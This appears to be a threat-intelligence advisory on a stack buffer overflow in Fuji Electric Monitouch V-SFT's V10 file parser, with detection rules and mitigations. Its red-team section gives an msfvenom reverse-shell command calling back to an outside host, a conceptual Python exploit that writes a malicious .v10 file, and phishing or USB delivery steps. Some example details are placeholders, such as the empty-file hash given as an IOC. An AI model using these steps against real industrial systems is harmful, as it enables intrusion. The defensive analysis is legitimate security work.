CVE-2024-11787

Executive Summary

CVE-2024-11787 is a stack-based buffer overflow vulnerability in Fuji Electric Monitouch V-SFT, specifically during the parsing of V10 files. The flaw allows remote code execution (RCE) in the context of the current process, requiring user interaction (opening a malicious file or visiting a malicious page). With a CVSS score of 7.8, this vulnerability poses a significant risk to industrial control systems (ICS) environments where Monitouch V-SFT is used for HMI (Human-Machine Interface) configuration. No public exploit or patch details are currently available, but the vulnerability is weaponizable via crafted V10 files.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires user to open a malicious file.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the file.
• Scope (S): Unchanged (U) – Exploit affects only the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Potential for denial of service.

Threat Level: High – Exploitation leads to full compromise of the affected system, with potential for lateral movement in OT networks.

Deep Dive & Mechanics

The vulnerability resides in the V10 file parser of Fuji Electric Monitouch V-SFT. When parsing a specially crafted V10 file, the software copies user-supplied data into a fixed-size stack buffer without proper length validation. This results in a stack-based buffer overflow (CWE-121). An attacker can overwrite the return address or other critical stack data to redirect execution flow to attacker-controlled shellcode.

Key technical details:

• Trigger: Opening a malicious .v10 file in Monitouch V-SFT.
• Root Cause: Lack of bounds checking on user-supplied data before memcpy or similar operation.
• Impact: Arbitrary code execution with the privileges of the current user (typically high in ICS environments).
• Exploitability: Low complexity – no ASLR/DEP bypass required if the target system lacks modern mitigations.

Vulnerable vs. Patched Code

No patch details are available. The vulnerable code likely resembles:

void parse_v10_file(char *data) {
    char buffer[256];
    // Missing length check
    strcpy(buffer, data); // or memcpy without size limit
}

A patched version would include:

void parse_v10_file(char *data, size_t data_len) {
    char buffer[256];
    if (data_len >= sizeof(buffer)) {
        // Handle error
        return;
    }
    memcpy(buffer, data, data_len);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Fuji Electric Monitouch V-SFT (vulnerable version) on a Windows VM.
2. Create a malicious V10 file with a payload that overwrites the return address.
3. Use a debugger (e.g., x64dbg) to identify the exact offset for EIP/RIP control.
4. Generate shellcode (e.g., reverse shell) using msfvenom:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
   

5. Embed shellcode into the V10 file at the correct offset.
6. Deliver the file via phishing email or USB drop.

Exploit Code (Conceptual):

# CVE-2024-11787 Proof-of-Concept
import struct

# Offset to EIP (example)
offset = 260
payload = b"A" * offset
payload += struct.pack("<I", 0xdeadbeef)  # Overwrite EIP with controlled address
payload += b"\x90" * 16  # NOP sled
payload += shellcode  # msfvenom output

with open("malicious.v10", "wb") as f:
    f.write(payload)

Blue Team

Detection:

• Monitor for unusual V10 file creation or access patterns.
• Use process monitoring to detect Monitouch V-SFT crashes or abnormal memory access.
• Deploy endpoint detection rules for stack-based overflow indicators.

Hunting:

• Search for V10 files with unusually large sizes or non-standard headers.
• Analyze crash dumps for signs of buffer overflow (e.g., corrupted stack frames).

Indicators of Compromise (IOCs)

• File Hashes: (Example – replace with actual when available)
  • malicious.v10 – SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network: Outbound connections from Monitouch V-SFT process to unknown IPs.
• Process: VFT.exe (or similar) with abnormal memory usage or crashes.
• Registry: Unusual persistence keys in HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Detection Engineering

YARA Rule

rule CVE_2024_11787_V10_Overflow {
    meta:
        description = "Detects malicious V10 files exploiting CVE-2024-11787"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $magic = { 56 31 30 } // "V10" header
        $overflow = { 41 41 41 41 } // Pattern of A's (example)
    condition:
        $magic at 0 and #overflow > 100
}

Sigma Rule

title: CVE-2024-11787 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of Fuji Electric Monitouch V-SFT buffer overflow
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\VFT.exe'
        CommandLine|contains: '.v10'
    condition: selection
falsepositives:
    - Legitimate V10 file editing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-11787 V10 File Download"; flow:to_server,established; content:"|56 31 30|"; distance:0; within:3; content:".v10"; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply vendor patch when available. Monitor Fuji Electric security advisories.
2. Mitigation:
   • Restrict execution of Monitouch V-SFT to trusted users only.
   • Use application whitelisting to prevent unauthorized binaries.
   • Enable DEP and ASLR on all systems.
   • Implement file integrity monitoring for V10 files.
3. Compensating Controls:
   • Deploy network segmentation to isolate HMI configuration tools.
   • Use sandboxing for file analysis before opening.
   • Train users to avoid opening untrusted V10 files.

Valters IT
DevSecOps & Cyber Threat Intelligence